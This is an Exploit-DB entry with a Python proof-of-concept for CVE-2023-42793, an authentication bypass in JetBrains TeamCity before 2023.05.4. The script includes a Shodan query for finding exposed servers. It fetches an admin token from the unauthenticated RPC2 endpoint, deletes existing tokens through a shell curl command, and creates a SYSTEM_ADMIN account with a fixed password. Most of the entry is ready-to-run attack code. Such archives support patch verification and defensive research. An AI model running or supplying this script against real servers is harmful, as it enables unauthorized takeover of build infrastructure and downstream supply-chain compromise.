Exploit-DB #51884
Description: JetBrains TeamCity 2023.05.3 - Remote Code Execution (RCE)
Type: remote
Platform: java
Date: 2024-03-14
Author: ByteHunter

Exploit:
#- Exploit Title: JetBrains TeamCity 2023.05.3 - Remote Code Execution (RCE)
#- Shodan Dork: http.title:TeamCity , http.favicon.hash:[PII_REDACTED]
#- Exploit Author: ByteHunter
#- Vendor: JetBrains
#- Email: 0xByteHunter@proton.me
#- vendor: JetBrains
#- Version: versions before 2023.05.4
#- Tested on: 2023.05.3                      
#- CVE : CVE-2023-42793 

import requests
import argparse
import re
import random
import string
import subprocess  


banner = """
=====================================================
*       CVE-2023-42793                              *
*  TeamCity Admin Account Creation                  *   
*                                                   *
*  Author: ByteHunter                               *
=====================================================
"""

print(banner)
parser = argparse.ArgumentParser(description="CVE-2023-42793 - TeamCity JetBrains PoC")
parser.add_argument("-u", "--url", required=True, help="Target URL")
parser.add_argument("-v", "--verbose", action="store_true", help="verbose mode")
args = parser.parse_args()

url = args.url

if url.startswith("https://"):
    curl_command = "curl -k"
else:
    curl_command = "curl"

get_token_url = f"{url}/app/rest/users/id:1/tokens/RPC2"
delete_token_url = f"{url}/app/rest/users/id:1/tokens/RPC2"
create_user_url = f"{url}/app/rest/users"

create_user_command = ""
token = ""

response = requests.post(get_token_url, verify=False)
if response.status_code == 200:
    match = re.search(r'value="([^"]+)"', response.text)
    if match:
        token = match.group(1)
        print(f"Token: {token}") 
    else:
        print("Token not found in the response")

elif response.status_code == 404:
    print("Token already exists")
    delete_command = f'{curl_command} -X DELETE {delete_token_url}'
    delete_process = subprocess.Popen(delete_command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    delete_process.wait()
    delete_output = delete_process.communicate()
    if delete_process.returncode == 0:
        print("Previous token deleted successfully\nrun this command again for creating new token & admin user.")
    else:
        print("Failed to delete the previous token")
elif response.status_code == 400:
    print("Token already exists")
    delete_command = f'{curl_command} -X DELETE {delete_token_url}'
    delete_process = subprocess.Popen(delete_command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    delete_process.wait()
    delete_output = delete_process.communicate()
    if delete_process.returncode == 0:
        print("Previous token deleted successfully\nrun this command again for creating new token & admin user.")
    else:
        print("Failed to delete the previous token")
else:
    print("Failed to get a token")

if token:
    headers = {
        "Authorization": f"Bearer {token}",
        "Content-Type": "application/json"
    }
    random_chars = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(4))
    username = f"city_admin{random_chars}"
    data = {
        "username": username,
        "password": "Main_password!!**",
        "email": "angry-admin@funnybunny.org",
        "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}
    }
    create_user_command = f'{curl_command} --path-as-is -H "Authorization: Bearer {token}" -X POST {create_user_url} -H "Content-Type: application/json" --data \'{{"username": "{username}", "password": "theSecretPass!", "email": "nest@nest", "roles": {{"role": [{{"roleId": "SYSTEM_ADMIN", "scope": "g"}}]}}}}\''
    create_user_response = requests.post(create_user_url, headers=headers, json=data)
    if create_user_response.status_code == 200:
        print("Successfully exploited!")
        print(f"URL: {url}")
        print(f"Username: {username}")
        print("Password: Main_password!!**")
    else:
        print("Failed to create new admin user")

if args.verbose:
    if response.status_code == 400:
        pass
    else:
        print(f"Final curl command: {create_user_command}")